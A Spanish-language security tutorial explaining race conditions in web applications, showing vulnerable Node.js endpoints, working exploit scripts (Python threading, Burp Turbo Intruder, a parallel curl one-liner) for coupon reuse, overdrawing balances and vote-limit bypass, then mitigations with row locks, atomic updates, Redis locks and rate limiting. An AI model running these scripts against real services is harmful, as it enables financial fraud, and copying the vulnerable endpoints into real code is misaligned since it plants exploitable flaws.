¿Qué es una Race Condition?
Una Race Condition ocurre cuando múltiples threads/procesos acceden a un recurso compartido sin sincronización adecuada. En aplicaciones web, esto permiteusar cupones múltiples veces, retirar más dinero del disponible, o comprar items agotados.
Impacto Financiero
- 💰 Retirar $1000 con saldo de $100
- 🎟️ Usar el mismo cupón de descuento infinitas veces
- 🎁 Reclamar el mismo reward múltiples veces
- 📦 Comprar items con stock = 0
- ⭐ Incrementar puntos/créditos ilimitadamente
1. Código Vulnerable Clásico
Transferencia de Dinero sin Locks
Node.js - Vulnerable a race condition
javascriptapp.post('/api/withdraw', async (req, res) => {
const { userId, amount } = req.body;
// 1. Leer saldo actual
const user = await db.users.findById(userId);
// 2. Verificar si hay fondos suficientes
if (user.balance < amount) {
return res.status(400).json({ error: 'Insufficient funds' });
}
// ⏱️ TIEMPO DE VULNERABILIDAD ⏱️
// Si llega otro request aquí, ambos verán el mismo balance
// 3. Decrementar saldo
await db.users.updateOne(
{ id: userId },
{ balance: user.balance - amount }
);
res.json({ success: true, new_balance: user.balance - amount });
});Escenario de Ataque
Estado Inicial: Usuario tiene $100 en cuenta
Timeline del ataque
textT=0ms Request #1 llega → Lee balance = $100
T=1ms Request #2 llega → Lee balance = $100 ← ¡Mismo valor!
T=2ms Request #1 verifica: $100 >= $80? ✅
T=3ms Request #2 verifica: $100 >= $80? ✅
T=4ms Request #1 actualiza: balance = $100 - $80 = $20
T=5ms Request #2 actualiza: balance = $100 - $80 = $20
RESULTADO: Usuario retiró $160 pero balance final = $20
Debería ser $100 - $160 = -$60 (rechazado)El atacante envió 2 requests simultáneos de $80 cada uno, retirando $160 con solo $100 de saldo.
2. Exploit - Cupón Infinito
Código vulnerable - Aplicar cupón
javascriptapp.post('/api/apply-coupon', async (req, res) => {
const { userId, couponCode } = req.body;
// 1. Verificar que cupón existe y es válido
const coupon = await db.coupons.findOne({ code: couponCode });
if (!coupon || coupon.used_count >= coupon.max_uses) {
return res.status(400).json({ error: 'Invalid coupon' });
}
// ⏱️ RACE CONDITION WINDOW ⏱️
// 2. Incrementar contador de usos
await db.coupons.updateOne(
{ code: couponCode },
{ used_count: coupon.used_count + 1 }
);
// 3. Aplicar descuento al usuario
await db.users.updateOne(
{ id: userId },
{ discount: coupon.amount }
);
res.json({ success: true });
});Script de Explotación
exploit.py - Usar cupón 100 veces
pythonimport requests
import threading
URL = "https://target.com/api/apply-coupon"
COOKIE = "session=your_session_here"
def apply_coupon():
response = requests.post(
URL,
json={
"userId": 123,
"couponCode": "SAVE50"
},
cookies={"session": COOKIE}
)
print(f"Response: {response.status_code}")
# Enviar 100 requests simultáneos
threads = []
for i in range(100):
t = threading.Thread(target=apply_coupon)
threads.append(t)
t.start()
# Esperar a que terminen todos
for t in threads:
t.join()
print("[+] Attack completed! Check your discount balance.")Resultado del exploit
Response: 200
Response: 200
Response: 200
...
[+] Attack completed! Check your discount balance.
# Verificar cuenta
GET /api/profile
{
"balance": $5000, ← ¡Cupón de $50 usado 100 veces!
"original_balance": $0
}
3. Explotación con Burp Suite
Turbo Intruder Extension
Burp tiene una extensión llamada Turbo Intruder diseñada específicamente para explotar race conditions con requests paralelos.
Paso 1: Capturar Request
Request vulnerable
POST /api/redeem-reward HTTP/1.1
Host: vulnerable-app.com
Cookie: session=abc123
Content-Type: application/json
{
"reward_id": 42,
"user_id": 123
}
Paso 2: Turbo Intruder Script
turbo-intruder.py
pythondef queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=50, # 50 conexiones paralelas
requestsPerConnection=10,
pipeline=False
)
# Enviar 100 requests idénticos simultáneamente
for i in range(100):
engine.queue(target.req)
def handleResponse(req, interesting):
table.add(req)Con
concurrentConnections=50, Turbo Intruder envía requests en paralelo verdadero, maximizando la probabilidad de race condition.Paso 3: Analizar Resultados
Respuestas esperadas
text# Si vulnerable:
Request #1: {"status": "success", "points_added": 1000}
Request #2: {"status": "success", "points_added": 1000}
Request #3: {"status": "success", "points_added": 1000}
...
Request #100: {"status": "success", "points_added": 1000}
Total points: 100,000 (debería ser 1,000)
# Si protegido correctamente:
Request #1: {"status": "success", "points_added": 1000}
Request #2: {"status": "error", "message": "Already redeemed"}
Request #3: {"status": "error", "message": "Already redeemed"}
...4. Limit Override Race Condition
Aplicaciones que limitan acciones (ej: 5 votos por día) son vulnerables si el check y el incremento no son atómicos:
Código vulnerable - Límite de votos
javascriptapp.post('/api/vote', async (req, res) => {
const { userId, postId } = req.body;
// 1. Contar votos actuales
const votes = await db.votes.count({
user_id: userId,
date: today
});
// 2. Verificar límite
if (votes >= 5) {
return res.status(429).json({ error: 'Daily limit exceeded' });
}
// ⏱️ RACE CONDITION ⏱️
// 3. Crear voto
await db.votes.create({
user_id: userId,
post_id: postId,
date: today
});
res.json({ success: true });
});Exploit - 100 Votos en 1 Segundo
Enviar requests simultáneos con parallel
bash# Crear archivo con URL y payload
cat > vote_payload.json <<EOF
{
"userId": 123,
"postId": 456
}
EOF
# Enviar 100 requests paralelos con GNU parallel
seq 1 100 | parallel -j 100 \
curl -X POST https://target.com/api/vote \
-H "Cookie: session=abc123" \
-H "Content-Type: application/json" \
-d @vote_payload.json
# Resultado: 100 votos creados, límite era 5Mitigación Completa
✅ Solución: Operaciones Atómicas + Database Locks
La única forma segura es usar locks de base de datos o transacciones atómicas.
1. Database Transactions con Row Locking
✅ SEGURO - PostgreSQL con SELECT FOR UPDATE
javascriptconst { Pool } = require('pg');
const pool = new Pool();
app.post('/api/withdraw', async (req, res) => {
const { userId, amount } = req.body;
const client = await pool.connect();
try {
// Iniciar transacción
await client.query('BEGIN');
// ✅ LOCK de fila - nadie más puede leer/modificar hasta COMMIT
const result = await client.query(
'SELECT balance FROM users WHERE id = $1 FOR UPDATE',
[userId]
);
const balance = result.rows[0].balance;
if (balance < amount) {
await client.query('ROLLBACK');
return res.status(400).json({ error: 'Insufficient funds' });
}
// Actualizar balance
await client.query(
'UPDATE users SET balance = balance - $1 WHERE id = $2',
[amount, userId]
);
// Commit - liberar lock
await client.query('COMMIT');
res.json({ success: true });
} catch (error) {
await client.query('ROLLBACK');
res.status(500).json({ error: 'Transaction failed' });
} finally {
client.release();
}
});FOR UPDATE
SELECT ... FOR UPDATE crea un lock exclusivo en la fila. Otros requests esperarán hasta que el primero haga COMMIT o ROLLBACK.2. Atomic Increment (MongoDB)
✅ SEGURO - Usar operadores atómicos
javascriptapp.post('/api/apply-coupon', async (req, res) => {
const { userId, couponCode } = req.body;
// ✅ SEGURO - Incremento atómico con findOneAndUpdate
const result = await db.coupons.findOneAndUpdate(
{
code: couponCode,
used_count: { $lt: 100 } // Solo si aún no llegó al límite
},
{
$inc: { used_count: 1 } // Incrementar atómicamente
},
{
returnDocument: 'after'
}
);
if (!result) {
return res.status(400).json({ error: 'Coupon exhausted or invalid' });
}
// Aplicar descuento
await db.users.updateOne(
{ id: userId },
{ $inc: { discount: result.amount } }
);
res.json({ success: true });
});3. Redis Distributed Lock
✅ SEGURO - Lock distribuido con Redis
javascriptconst Redis = require('ioredis');
const redis = new Redis();
async function withLock(key, ttl, callback) {
const lockKey = `lock:${key}`;
const lockValue = Math.random().toString(36);
// Intentar obtener lock
const acquired = await redis.set(
lockKey,
lockValue,
'EX', ttl, // Expira en ttl segundos
'NX' // Solo si no existe
);
if (!acquired) {
throw new Error('Could not acquire lock');
}
try {
return await callback();
} finally {
// Liberar lock solo si es nuestro
const script = `
if redis.call("get", KEYS[1]) == ARGV[1] then
return redis.call("del", KEYS[1])
else
return 0
end
`;
await redis.eval(script, 1, lockKey, lockValue);
}
}
app.post('/api/withdraw', async (req, res) => {
const { userId, amount } = req.body;
try {
// ✅ SEGURO - Solo un request puede ejecutar a la vez por usuario
await withLock(`user:${userId}`, 10, async () => {
const user = await db.users.findById(userId);
if (user.balance < amount) {
throw new Error('Insufficient funds');
}
await db.users.updateOne(
{ id: userId },
{ balance: user.balance - amount }
);
});
res.json({ success: true });
} catch (error) {
res.status(400).json({ error: error.message });
}
});4. Rate Limiting por Usuario
✅ SEGURO - Limitar requests por usuario
javascriptconst rateLimit = require('express-rate-limit');
const RedisStore = require('rate-limit-redis');
const limiter = rateLimit({
store: new RedisStore({
client: redis
}),
windowMs: 1000, // 1 segundo
max: 1, // Solo 1 request por segundo por usuario
keyGenerator: (req) => `user:${req.body.userId}`,
handler: (req, res) => {
res.status(429).json({
error: 'Too many requests, please slow down'
});
}
});
app.post('/api/withdraw', limiter, async (req, res) => {
// ... lógica de retiro
});Siguiente: JWT Vulnerabilities
Explotar JSON Web TokensPor Aitana Security Team